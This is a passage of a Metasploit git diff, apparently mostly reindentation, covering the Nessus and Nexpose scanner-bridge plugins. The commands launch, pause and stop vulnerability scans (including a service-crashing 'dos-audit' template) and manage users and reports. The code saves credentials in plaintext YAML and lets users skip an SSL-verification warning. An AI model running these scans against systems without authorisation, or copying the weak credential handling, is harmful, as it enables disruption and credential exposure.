print_status("Usage: ") + print_status(" nessus_scan_new ") + print_status(" Example:> nessus_scan_new 1 \"My Scan\" 192.168.1.250") + print_status() + print_status("Creates a scan based on a policy id and targets.") + print_status("use nessus_policy_list to list all available policies") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 3 + pid = args[0].to_i + name = args[1] + tgts = args[2] + else + print_status("Usage: ") + print_status(" nessus_scan_new ") + print_status(" use nessus_policy_list to list all available policies") + return + end + + if check_policy(pid) + print_error("That policy does not exist.") + return + end + + print_status("Creating scan from policy number #{pid}, called \"#{name}\" and scanning #{tgts}") + + scan = @n.scan_new(pid, name, tgts) + + if scan + print_status("Scan started. uid is #{scan}") + end + end + + def cmd_nessus_scan_pause(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_scan_pause ") + print_status(" Example:> nessus_scan_pause f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("Pauses a running scan") + print_status("use nessus_scan_status to list all available scans") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 1 + sid = args[0] + else + print_status("Usage: ") + print_status(" nessus_scan_pause ") + print_status(" use nessus_scan_status to list all available scans") + return + end + + pause = @n.scan_pause(sid) + + print_status("#{sid} has been paused") + end + + def cmd_nessus_scan_resume(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_scan_resume ") + print_status(" Example:> nessus_scan_resume f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("resumes a running scan") + print_status("use nessus_scan_status to list all available scans") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 1 + sid = args[0] + else + print_status("Usage: ") + print_status(" nessus_scan_resume ") + print_status(" use nessus_scan_status to list all available scans") + return + end + + resume = @n.scan_resume(sid) + + print_status("#{sid} has been resumed") + end + + def cmd_nessus_report_hosts(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_report_hosts ") + print_status(" Example:> nessus_report_hosts f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("Returns all the hosts associated with a scan and details about their vulnerabilities") + print_status("use nessus_report_list to list all available scans") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 1 + rid = args[0] + else + print_status("Usage: ") + print_status(" nessus_report_hosts ") + print_status(" use nessus_report_list to list all available reports") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Hostname', + 'Severity', + 'Sev 0', + 'Sev 1', + 'Sev 2', + 'Sev 3', + 'Current Progress', + 'Total Progress' + ]) + hosts=@n.report_hosts(rid) + hosts.each {|host| + tbl << [ host['hostname'], host['severity'], host['sev0'], host['sev1'], host['sev2'], host['sev3'], host['current'], host['total'] ] + } + print_good("Report Info") + print_good "\n" + print_line tbl.to_s + print_status("You can:") + print_status(" Get information from a particular host: nessus_report_host_ports ") + end + + def cmd_nessus_report_vulns(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_report_vulns ") + print_status(" Example:> nessus_report_vulns f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("Returns all the vulns associated with a scan and details about hosts and their vulnerabilities") + print_status("use nessus_report_list to list all available scans") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 1 + rid = args[0] + else + print_status("Usage: ") + print_status(" nessus_report_vulns ") + print_status(" use nessus_report_vulns to list all available reports") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Hostname', + 'Port', + 'Proto', + 'Sev', + 'PluginID', + 'Plugin Name' + ]) + print_status("Grabbing all vulns for report #{rid}") + hosts=@n.report_hosts(rid) + hosts.each do |host| + ports=@n.report_host_ports(rid, host['hostname']) + ports.each do |port| + details=@n.report_host_port_details(rid, host['hostname'], port['portnum'], port['protocol']) + details.each do |detail| + tbl << [host['hostname'], + port['portnum'], + port['protocol'], + detail['severity'], + detail['pluginID'], + detail['pluginName'] + ] + end + end + end + print_good("Report Info") + print_line + print_line tbl.to_s + print_status("You can:") + print_status(" Get information from a particular host: nessus_report_host_ports ") + end + + def cmd_nessus_report_host_ports(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_report_host_ports ") + print_status(" Example:> nessus_report_host_ports 192.168.1.250 f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("Returns all the ports associated with a host and details about their vulnerabilities") + print_status("use nessus_report_hosts to list all available hosts for a report") + end + + if ! nessus_verify_token + return + end + + case args.length + when 2 + host = args[0] + rid = args[1] + else + print_status("Usage: ") + print_status(" nessus_report_host_ports ") + print_status(" use nessus_report_list to list all available reports") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Port', + 'Protocol', + 'Severity', + 'Service Name', + 'Sev 0', + 'Sev 1', + 'Sev 2', + 'Sev 3' + ]) + ports=@n.report_host_ports(rid, host) + ports.each {|port| + tbl << [ port['portnum'], port['protocol'], port['severity'], port['svcname'], port['sev0'], port['sev1'], port['sev2'], port['sev3'] ] + } + print_good("Host Info") + print_good "\n" + print_line tbl.to_s + print_status("You can:") + print_status(" Get detailed scan infromation about a specfic port: nessus_report_host_detail ") + end + + def cmd_nessus_report_host_detail(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_report_host_detail ") + print_status(" Example:> nessus_report_host_ports 192.168.1.250 445 tcp f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("Returns all the vulns associated with a port for a specific host") + print_status("use nessus_report_host_ports to list all available ports for a host") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 4 + host = args[0] + port = args[1] + prot = args[2] + rid = args[3] + else + print_status("Usage: ") + print_status(" nessus_report_host_detail ") + print_status(" use nessus_report_host_ports to list all available ports") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Port', + 'Severity', + 'PluginID', + 'Plugin Name', + 'CVSS2', + 'Exploit?', + 'CVE', + 'Risk Factor', + 'CVSS Vector' + ]) + details=@n.report_host_port_details(rid, host, port, prot) + details.each {|detail| + tbl << [ + detail['port'], + detail['severity'], + detail['pluginID'], + detail['pluginName'], + detail['cvss_base_score'] || 'none', + detail['exploit_available'] || '.', + detail['cve'] || '.', + detail['risk_factor'] || '.', + detail['cvss_vector'] || '.' + ] + } + print_good("Port Info") + print_good "\n" + print_line tbl.to_s + end + + def cmd_nessus_scan_pause_all(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_scan_pause_all") + print_status(" Example:> nessus_scan_pause_all") + print_status() + print_status("Pauses all currently running scans") + print_status("use nessus_scan_list to list all running scans") + return + end + + if ! nessus_verify_token + return + end + + pause = @n.scan_pause_all + + print_status("All scans have been paused") + end + + def cmd_nessus_scan_stop(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_scan_stop ") + print_status(" Example:> nessus_scan_stop f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("Stops a currently running scans") + print_status("use nessus_scan_list to list all running scans") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 1 + sid = args[0] + else + print_status("Usage: ") + print_status(" nessus_scan_stop ") + print_status(" use nessus_scan_status to list all available scans") + return + end + + pause = @n.scan_stop(sid) + + print_status("#{sid} has been stopped") + end + + def cmd_nessus_scan_stop_all(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_scan_stop_all") + print_status(" Example:> nessus_scan_stop_all") + print_status() + print_status("stops all currently running scans") + print_status("use nessus_scan_list to list all running scans") + return + end + + if ! nessus_verify_token + return + end + + pause = @n.scan_stop_all + + print_status("All scans have been stopped") + end + + def cmd_nessus_scan_resume_all(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_scan_resume_all") + print_status(" Example:> nessus_scan_resume_all") + print_status() + print_status("resumes all currently running scans") + print_status("use nessus_scan_list to list all running scans") + return + end + + if ! nessus_verify_token + return + end + + pause = @n.scan_resume_all + + print_status("All scans have been resumed") + end + + def cmd_nessus_user_add(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_user_add ") + print_status(" Example:> nessus_user_add msf msf") + print_status() + print_status("Only adds non admin users. Must be an admin to add users.") + print_status("use nessus_user_list to list all users") + return + end + + if ! nessus_verify_token + return + end + + if ! @n.is_admin + print_error("Your Nessus user is not an admin") + return + end + + case args.length + when 2 + user = args[0] + pass = args[1] + else + print_status("Usage: ") + print_status(" nessus_user_add ") + print_status(" Only adds non admin users") + return + end + + u = @n.users_list + u.each { |stuff| + if stuff['name'] == user + print_error("That user exists") + return + end + } + add = @n.user_add(user,pass) + status = add.root.elements['status'].text if add + if status == "OK" + print_good("#{user} has been added") + else + print_error("#{user} was not added") + end + end + + def cmd_nessus_user_del(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_user_del ") + print_status(" Example:> nessus_user_del msf") + print_status() + print_status("Only dels non admin users. Must be an admin to del users.") + print_status("use nessus_user_list to list all users") + return + end + + if ! nessus_verify_token + return + end + + if ! @n.is_admin + print_error("Your Nessus user is not an admin") + return + end + + case args.length + when 1 + user = args[0] + else + print_status("Usage: ") + print_status(" nessus_user_del ") + print_status(" Only dels non admin users") + return + end + + del = @n.user_del(user) + status = del.root.elements['status'].text + if status == "OK" + print_good("#{user} has been deleted") + else + print_error("#{user} was not deleted") + end + end + + def cmd_nessus_user_passwd(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_user_passwd ") + print_status(" Example:> nessus_user_passwd msf newpassword") + print_status() + print_status("Changes the password of a user. Must be an admin to change passwords.") + print_status("use nessus_user_list to list all users") + return + end + + if ! nessus_verify_token + return + end + + if ! @n.is_admin + print_error("Your Nessus user is not an admin") + return + end + + case args.length + when 2 + user = args[0] + pass = args[1] + else + print_status("Usage: ") + print_status(" nessus_user_passwd ") + print_status(" User list from nessus_user_list") + return + end + + pass = @n.user_pass(user,pass) + status = pass.root.elements['status'].text + if status == "OK" + print_good("#{user}'s password has been changed") + else + print_error("#{user}'s password has not been changed") + end + end + + def cmd_nessus_admin(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_admin") + print_status(" Example:> nessus_admin") + print_status() + print_status("Checks to see if the current user is an admin") + print_status("use nessus_user_list to list all users") + return + end + + if ! nessus_verify_token + return + end + + if ! @n.is_admin + print_error("Your Nessus user is not an admin") + else + print_good("Your Nessus user is an admin") + end + end + + def cmd_nessus_plugin_family(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_plugin_family ") + print_status(" Example:> nessus_plugin_family \"Windows : Microsoft Bulletins\" ") + print_status() + print_status("Returns a list of all plugins in that family.") + print_status("use nessus_plugin_list to list all plugins") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 1 + fam = args[0] + else + print_status("Usage: ") + print_status(" nessus_plugin_family ") + print_status(" list all plugins from a Family from nessus_plugin_list") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Plugin ID', + 'Plugin Name', + 'Plugin File Name' + ]) + + family = @n.plugin_family(fam) + + family.each {|plugin| + tbl << [ plugin['id'], plugin['name'], plugin['filename'] ] + } + print_good("#{fam} Info") + print_good "\n" + print_line tbl.to_s + end + + def cmd_nessus_policy_list(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_policy_list") + print_status(" Example:> nessus_policy_list") + print_status() + print_status("Lists all policies on the server") + return + end + + if ! nessus_verify_token + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'ID', + 'Name', + 'Comments' + ]) + list=@n.policy_list_hash + list.each {|policy| + tbl << [ policy['id'], policy['name'], policy['comments'] ] + } + print_good("Nessus Policy List") + print_good "\n" + print_line tbl.to_s + end + + def cmd_nessus_policy_del(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_policy_del ") + print_status(" Example:> nessus_policy_del 1") + print_status() + print_status("Must be an admin to del policies.") + print_status("use nessus_policy_list to list all policies") + return + end + + if ! nessus_verify_token + return + end + + if ! @n.is_admin + print_error("Your Nessus user is not an admin") + return + end + + case args.length + when 1 + pid = args[0] + else + print_status("Usage: ") + print_status(" nessus_policy_del ") + print_status(" nessus_policy_list to find the id.") + return + end + + + del = @n.policy_del(pid) + status = del.root.elements['status'].text + if status == "OK" + print_good("Policy number #{pid} has been deleted") + else + print_error("Policy number #{pid} was not deleted") + end + + end + + def cmd_nessus_plugin_details(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_plugin_details ") + print_status(" Example:> nessus_plugin_details ping_host.nasl ") + print_status() + print_status("Returns details on a particular plugin.") + print_status("use nessus_plugin_list to list all plugins") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 1 + pname = args[0] + else + print_status("Usage: ") + print_status(" nessus_policy_del ") + print_status(" nessus_plugin_list and then nessus_plugin_family to find the plugin file name.") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + '', + '' + ]) + + entry = @n.plugin_detail(pname) + print_good("Plugin Details for #{entry['name']}") + tbl << [ "Plugin ID", entry['id'] ] + tbl << [ "Plugin Family", entry['family'] ] + tbl << [ "CVSS Base Score", entry['cvss_base_score'] ] + tbl << [ "CVSS Vector", entry['cvss_vector'] ] + tbl << [ "CVSS Temporal Score", entry['cvss_temporal_score'] ] + tbl << [ "CVSS Temporal Vector", entry['cvss_temporal_vector'] ] + tbl << [ "Risk Factor", entry['risk_factor'] ] + tbl << [ "Exploit Available", entry['exploit_available'] ] + tbl << [ "Exploitability Ease", entry['exploit_ease'] ] + tbl << [ "Synopsis", entry['synopsis'] ] + tbl << [ "Description", entry['description'] ] + tbl << [ "Solution", entry['solution'] ] + tbl << [ "Plugin Pub Date", entry['plugin_publication_date'] ] + tbl << [ "Plugin Modification Date", entry['plugin_modification_date'] ] + print_good "\n" + print_line tbl.to_s + end + + def cmd_nessus_report_del(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_report_del ") + print_status(" Example:> nessus_report_del f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("Must be an admin to del reports.") + print_status("use nessus_report_list to list all reports") + return + end + + if ! nessus_verify_token + return + end + + if ! @n.is_admin + print_error("Your Nessus user is not an admin") + return + end + + case args.length + when 1 + rid = args[0] + else + print_status("Usage: ") + print_status(" nessus_report_del ") + print_status(" nessus_report_list to find the id.") + return + end + + + del = @n.report_del(rid) + status = del.root.elements['status'].text + if status == "OK" + print_good("Report #{rid} has been deleted") + else + print_error("Report #{rid} was not deleted") + end + end + + def cmd_nessus_server_prefs(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_server_prefs") + print_status(" Example:> nessus_server_prefs") + print_status() + print_status("Returns a long list of server prefs.") + return + end + + if ! nessus_verify_token + return + end + + if ! @n.is_admin + print_error("Your Nessus user is not an admin") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Name', + 'Value' + ]) + prefs = @n.server_prefs + prefs.each {|pref| + tbl << [ pref['name'], pref['value'] ] + } + print_good("Nessus Server Pref List") + print_good "\n" + print_line tbl.to_s + "\n" + + end + + def cmd_nessus_plugin_prefs(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_plugin_prefs") + print_status(" Example:> nessus_plugin_prefs") + print_status() + print_status("Returns a long list of plugin prefs.") + return + end + + if ! nessus_verify_token + return + end + + if ! @n.is_admin + print_error("Your Nessus user is not an admin") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Name', + 'Value', + 'Type' + ]) + prefs = @n.plugin_prefs + prefs.each {|pref| + tbl << [ pref['prefname'], pref['prefvalues'], pref['preftype'] ] + } + print_good("Nessus Plugins Pref List") + print_good "\n" + print_line tbl.to_s + end + end + + def initialize(framework, opts) + super + + add_console_dispatcher(ConsoleCommandDispatcher) + @nbver = "1.1" # Nessus Plugin Version. Increments each time we commit to msf + @xindex = "#{Msf::Config.get_config_root}/nessus_index" # location of the exploit index file used to speed up searching for valid exploits. + @nessus_yaml = "#{Msf::Config.get_config_root}/nessus.yaml" #location of the nessus.yml containing saved nessus creds + print_status("Nessus Bridge for Metasploit #{@nbver}") + print_good("Type %bldnessus_help%clr for a command listing") + #nessus_index + end + + def cleanup + remove_console_dispatcher('Nessus') + end + + def name + "nessus" + end + + def desc + "Nessus Bridge for Metasploit #{@nbver}" + end + protected + end end diff --git a/plugins/nexpose.rb b/plugins/nexpose.rb index e2a42b238c96..56b0bd183094 100644 --- a/plugins/nexpose.rb +++ b/plugins/nexpose.rb @@ -10,661 +10,661 @@ require 'rapid7/nexpose' module Msf - Nexpose_yaml = "#{Msf::Config.get_config_root}/nexpose.yaml" #location of the nexpose.yml containing saved nexpose creds + Nexpose_yaml = "#{Msf::Config.get_config_root}/nexpose.yaml" #location of the nexpose.yml containing saved nexpose creds class Plugin::Nexpose < Msf::Plugin - class NexposeCommandDispatcher - include Msf::Ui::Console::CommandDispatcher - - def name - "Nexpose" - end - - def commands - { - 'nexpose_connect' => "Connect to a running Nexpose instance ( user:pass@host[:port] )", - 'nexpose_save' => "Save credentials to a Nexpose instance", - 'nexpose_activity' => "Display any active scan jobs on the Nexpose instance", - - 'nexpose_scan' => "Launch a Nexpose scan against a specific IP range and import the results", - 'nexpose_discover' => "Launch a scan but only perform host and minimal service discovery", - 'nexpose_exhaustive' => "Launch a scan covering all TCP ports and all authorized safe checks", - 'nexpose_dos' => "Launch a scan that includes checks that can crash services and devices (caution)", - - 'nexpose_disconnect' => "Disconnect from an active Nexpose instance", - - 'nexpose_sites' => "List all defined sites", - 'nexpose_site_devices' => "List all discovered devices within a site", - 'nexpose_site_import' => "Import data from the specified site ID", - 'nexpose_report_templates' => "List all available report templates", - 'nexpose_command' => "Execute a console command on the Nexpose instance", - 'nexpose_sysinfo' => "Display detailed system information about the Nexpose instance", - - # TODO: - # nexpose_stop_scan - } - end - - def nexpose_verify_db - if ! (framework.db and framework.db.usable and framework.db.active) - print_error("No database has been configured, please use db_create/db_connect first") - return false - end - - true - end - - def nexpose_verify - return false if not nexpose_verify_db - - if ! @nsc - print_error("No active Nexpose instance has been configured, please use 'nexpose_connect'") - return false - end - - true - end - - def cmd_nexpose_save(*args) - #if we are logged in, save session details to nexpose.yaml - if args[0] == "-h" - print_status("Usage: ") - print_status(" nexpose_save") - return - end - - if args[0] - print_status("Usage: ") - print_status(" nexpose_save") - return - end - - group = "default" - - if ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) - config = {"#{group}" => {'username' => @user, 'password' => @pass, 'server' => @host, 'port' => @port}} - ::File.open("#{Nexpose_yaml}", "wb") { |f| f.puts YAML.dump(config) } - print_good("#{Nexpose_yaml} created.") - else - print_error("Missing username/password/server/port - relogin and then try again.") - return - end - end - - def cmd_nexpose_connect(*args) - return if not nexpose_verify_db - - if ! args[0] - if ::File.readable?("#{Nexpose_yaml}") - lconfig = YAML.load_file("#{Nexpose_yaml}") - @user = lconfig['default']['username'] - @pass = lconfig['default']['password'] - @host = lconfig['default']['server'] - @port = lconfig['default']['port'] - @sslv = "ok" # TODO: Not super-thrilled about bypassing the SSL warning... - nexpose_login - return - end - end - - if(args.length == 0 or args[0].empty? or args[0] == "-h") - print_status("Usage: ") - print_status(" nexpose_connect username:password@host[:port] ") - print_status(" -OR- ") - print_status(" nexpose_connect username password host port ") - return - end - - @user = @pass = @host = @port = @sslv = nil - - case args.length - when 1,2 - cred,targ = args[0].split('@', 2) - @user,@pass = cred.split(':', 2) - targ ||= '127.0.0.1:3780' - @host,@port = targ.split(':', 2) - port ||= '3780' - @sslv = args[1] - when 4,5 - @user,@pass,@host,@port,@sslv = args - else - print_status("Usage: ") - print_status(" nexpose_connect username:password@host[:port] ") - print_status(" -OR- ") - print_status(" nexpose_connect username password host port ") - return - end - nexpose_login - end - - def nexpose_login - - if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) - print_status("Usage: ") - print_status(" nexpose_connect username:password@host[:port] ") - print_status(" -OR- ") - print_status(" nexpose_connect username password host port ") - return - end - - if(@host != "localhost" and @host != "127.0.0.1" and @sslv != "ok") - print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") - print_error(" with the ability to man-in-the-middle the Nexpose traffic to capture the Nexpose") - print_error(" credentials. If you are running this on a trusted network, please pass in 'ok'") - print_error(" as an additional parameter to this command.") - return - end - - # Wrap this so a duplicate session doesnt prevent a new login - begin - cmd_nexpose_disconnect - rescue ::Interrupt - raise $! - rescue ::Exception - end - - begin - print_status("Connecting to Nexpose instance at #{@host}:#{@port} with username #{@user}...") - nsc = ::Nexpose::Connection.new(@host, @user, @pass, @port) - nsc.login - rescue ::Nexpose::APIError => e - print_error("Connection failed: #{e.reason}") - return - end - - @nsc = nsc - nexpose_compatibility_check - nsc - end - - def cmd_nexpose_activity(*args) - return if not nexpose_verify - - scans = @nsc.scan_activity || [] - case scans.length - when 0 - print_status("There are currently no active scan jobs on this Nexpose instance") - when 1 - print_status("There is 1 active scan job on this Nexpose instance") - else - print_status("There are currently #{scans.length} active scan jobs on this Nexpose instance") - end - - scans.each do |scan| - print_status(" Scan ##{scan[:scan_id]} is running on Engine ##{scan[:engine_id]} against site ##{scan[:site_id]} since #{scan[:start_time].to_s}") - end - end - - def cmd_nexpose_sites(*args) - return if not nexpose_verify - - sites = @nsc.site_listing || [] - case sites.length - when 0 - print_status("There are currently no active sites on this Nexpose instance") - end - - sites.each do |site| - print_status(" Site ##{site[:site_id]} '#{site[:name]}' Risk Factor: #{site[:risk_factor]} Risk Score: #{site[:risk_score]}") - end - end - - def cmd_nexpose_site_devices(*args) - return if not nexpose_verify - - site_id = args.shift - if not site_id - print_error("No site ID was specified") - return - end - - devices = @nsc.site_device_listing(site_id) || [] - case devices.length - when 0 - print_status("There are currently no devices within this site") - end - - devices.each do |device| - print_status(" Host: #{device[:address]} ID: #{device[:device_id]} Risk Factor: #{device[:risk_factor]} Risk Score: #{device[:risk_score]}") - end - end - - def cmd_nexpose_report_templates(*args) - return if not nexpose_verify - - res = @nsc.report_template_listing || [] - - res.each do |report| - print_status(" Template: #{report[:template_id]} Name: '#{report[:name]}' Description: #{report[:description]}") - end - end - - def cmd_nexpose_command(*args) - return if not nexpose_verify - - if args.length == 0 - print_error("No command was specified") - return - end - - res = @nsc.console_command(args.join(" ")) || "" - - print_status("Command Output") - print_line(res) - print_line("") - - end - - def cmd_nexpose_sysinfo(*args) - return if not nexpose_verify - - res = @nsc.system_information - - print_status("System Information") - res.each_pair do |k,v| - print_status(" #{k}: #{v}") - end - end - - def nexpose_compatibility_check - res = @nsc.console_command("ver") - if res !~ /^(NSC|Console) Version ID:\s*4[89]0\s*$/m - print_error("") - print_error("Warning: This version of Nexpose has not been tested with Metasploit!") - print_error("") - end - end - - def cmd_nexpose_site_import(*args) - site_id = args.shift - if not site_id - print_error("No site ID was specified") - return - end - - msfid = Time.now.to_i - - report_formats = ["raw-xml-v2", "ns-xml"] - report_format = report_formats.shift - - report = Nexpose::ReportConfig.new(@nsc) - report.set_name("Metasploit Export #{msfid}") - report.set_template_id("pentest-audit") - - report.addFilter("SiteFilter", site_id) - report.set_generate_after_scan(0) - report.set_storeOnServer(1) - - begin - report.set_format(report_format) - report.saveReport() - rescue ::Exception => e - report_format = report_formats.shift - if report_format - retry - end - raise e - end - - print_status("Generating the export data file...") - url = nil - while(! url) - url = @nsc.report_last(report.config_id) - select(nil, nil, nil, 1.0) - end - - print_status("Downloading the export data...") - data = @nsc.download(url) - - # Delete the temporary report ID - @nsc.report_config_delete(report.config_id) - - print_status("Importing Nexpose data...") - process_nexpose_data(report_format, data) - - end - - def cmd_nexpose_discover(*args) - args << "-h" if args.length == 0 - args << "-t" - args << "aggressive-discovery" - cmd_nexpose_scan(*args) - end - - def cmd_nexpose_exhaustive(*args) - args << "-h" if args.length == 0 - args << "-t" - args << "exhaustive-audit" - cmd_nexpose_scan(*args) - end - - def cmd_nexpose_dos(*args) - args << "-h" if args.length == 0 - args << "-t" - args << "dos-audit" - cmd_nexpose_scan(*args) - end - - def cmd_nexpose_scan(*args) - - opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-t" => [ true, "The scan template to use (default:pentest-audit options:full-audit,exhaustive-audit,discovery,aggressive-discovery,dos-audit)"], - "-c" => [ true, "Specify credentials to use against these targets (format is type:user:pass"], - "-n" => [ true, "The maximum number of IPs to scan at a time (default is 32)"], - "-s" => [ true, "The directory to store the raw XML files from the Nexpose instance (optional)"], - "-P" => [ false, "Leave the scan data on the server when it completes (this counts against the maximum licensed IPs)"], - "-v" => [ false, "Display diagnostic information about the scanning process"], - "-d" => [ false, "Scan hosts based on the contents of the existing database"], - "-I" => [ true, "Only scan systems with an address within the specified range"], - "-E" => [ true, "Exclude hosts in the specified range from the scan"] - ) - - opt_template = "pentest-audit" - opt_maxaddrs = 32 - opt_monitor = false - opt_verbose = false - opt_savexml = nil - opt_preserve = false - opt_rescandb = false - opt_addrinc = nil - opt_addrexc = nil - opt_scanned = [] - opt_credentials = [] - - opt_ranges = [] - - - opts.parse(args) do |opt, idx, val| - case opt - when "-h" - print_line("Usage: nexpose_scan [options] ") - print_line(opts.usage) - return - when "-t" - opt_template = val - when "-n" - opt_maxaddrs = val.to_i - when "-s" - opt_savexml = val - when "-c" - if (val =~ /^([^:]+):([^:]+):(.+)/) - type, user, pass = [ $1, $2, $3 ] - newcreds = Nexpose::AdminCredentials.new - newcreds.setCredentials(type, nil, nil, user, pass, nil) - opt_credentials << newcreds - else - print_error("Unrecognized Nexpose scan credentials: #{val}") - return - end - when "-v" - opt_verbose = true - when "-P" - opt_preserve = true - when "-d" - opt_rescandb = true - when '-I' - opt_addrinc = OptAddressRange.new('TEMPRANGE', [ true, '' ]).normalize(val) - when '-E' - opt_addrexc = OptAddressRange.new('TEMPRANGE', [ true, '' ]).normalize(val) - else - opt_ranges << val - end - end - - return if not nexpose_verify - - # Include all database hosts as scan targets if specified - if(opt_rescandb) - print_status("Loading scan targets from the active database...") if opt_verbose - framework.db.hosts.each do |host| - next if host.state != ::Msf::HostState::Alive - opt_ranges << host.address - end - end - - possible_files = opt_ranges # don't allow DOS by circular reference - possible_files.each do |file| - if ::File.readable? file - print_status "Parsing ranges from #{file}" - range_list = ::File.open(file,"rb") {|f| f.read f.stat.size} - range_list.each_line { |subrange| opt_ranges << subrange} - opt_ranges.delete(file) - end - end - - opt_ranges = opt_ranges.join(' ') - - if(opt_ranges.strip.empty?) - print_line("Usage: nexpose_scan [options] ") - print_line(opts.usage) - return - end - - if(opt_verbose) - print_status("Creating a new scan using template #{opt_template} and #{opt_maxaddrs} concurrent IPs against #{opt_ranges}") - end - - range_inp = ::Msf::OptAddressRange.new('TEMPRANGE', [ true, '' ]).normalize(opt_ranges) - range = ::Rex::Socket::RangeWalker.new(range_inp) - include_range = opt_addrinc ? ::Rex::Socket::RangeWalker.new(opt_addrinc) : nil - exclude_range = opt_addrexc ? ::Rex::Socket::RangeWalker.new(opt_addrexc) : nil - - completed = 0 - total = range.num_ips - count = 0 - - print_status("Scanning #{total} addresses with template #{opt_template} in sets of #{opt_maxaddrs}") - - while(completed < total) - count += 1 - queue = [] - - while(ip = range.next_ip and queue.length < opt_maxaddrs) - - if(exclude_range and exclude_range.include?(ip)) - print_status(" >> Skipping host #{ip} due to exclusion") if opt_verbose - next - end - - if(include_range and ! include_range.include?(ip)) - print_status(" >> Skipping host #{ip} due to inclusion filter") if opt_verbose - next - end - - opt_scanned << ip - queue << ip - end - - break if queue.empty? - print_status("Scanning #{queue[0]}-#{queue[-1]}...") if opt_verbose - - msfid = Time.now.to_i - - # Create a temporary site - site = Nexpose::Site.new(@nsc) - site.setSiteConfig("Metasploit-#{msfid}", "Autocreated by the Metasploit Framework") - queue.each do |ip| - site.site_config.addHost(Nexpose::IPRange.new(ip)) - end - site.site_config._set_scanConfig(Nexpose::ScanConfig.new(-1, "tmp", opt_template)) - opt_credentials.each do |c| - site.site_config.addCredentials(c) - end - site.saveSite() - - print_status(" >> Created temporary site ##{site.site_id}") if opt_verbose - - report_formats = ["raw-xml-v2", "ns-xml"] - report_format = report_formats.shift - - report = Nexpose::ReportConfig.new(@nsc) - report.set_name("Metasploit Export #{msfid}") - report.set_template_id(opt_template) - - report.addFilter("SiteFilter", site.site_id) - report.set_generate_after_scan(1) - report.set_storeOnServer(1) - - begin - report.set_format(report_format) - report.saveReport() - rescue ::Exception => e - report_format = report_formats.shift - if report_format - retry - end - raise e - end - - print_status(" >> Created temporary report configuration ##{report.config_id}") if opt_verbose - - # Run the scan - res = site.scanSite() - sid = res[:scan_id] - - print_status(" >> Scan has been launched with ID ##{sid}") if opt_verbose - - rep = true - begin - prev = nil - while(true) - info = @nsc.scan_statistics(sid) - break if info[:summary]['status'] != "running" - stat = "Found #{info[:nodes]['live']} devices and #{info[:nodes]['dead']} unresponsive" - if(stat != prev) - print_status(" >> #{stat}") if opt_verbose - end - prev = stat - select(nil, nil, nil, 5.0) - end - print_status(" >> Scan has been completed with ID ##{sid}") if opt_verbose - rescue ::Interrupt - rep = false - print_status(" >> Terminating scan ID ##{sid} due to console interupt") if opt_verbose - @nsc.scan_stop(sid) - break - end - - # Wait for the automatic report generation to complete - if(rep) - print_status(" >> Waiting on the report to generate...") if opt_verbose - url = nil - while(! url) - url = @nsc.report_last(report.config_id) - select(nil, nil, nil, 1.0) - end - - print_status(" >> Downloading the report data from Nexpose...") if opt_verbose - data = 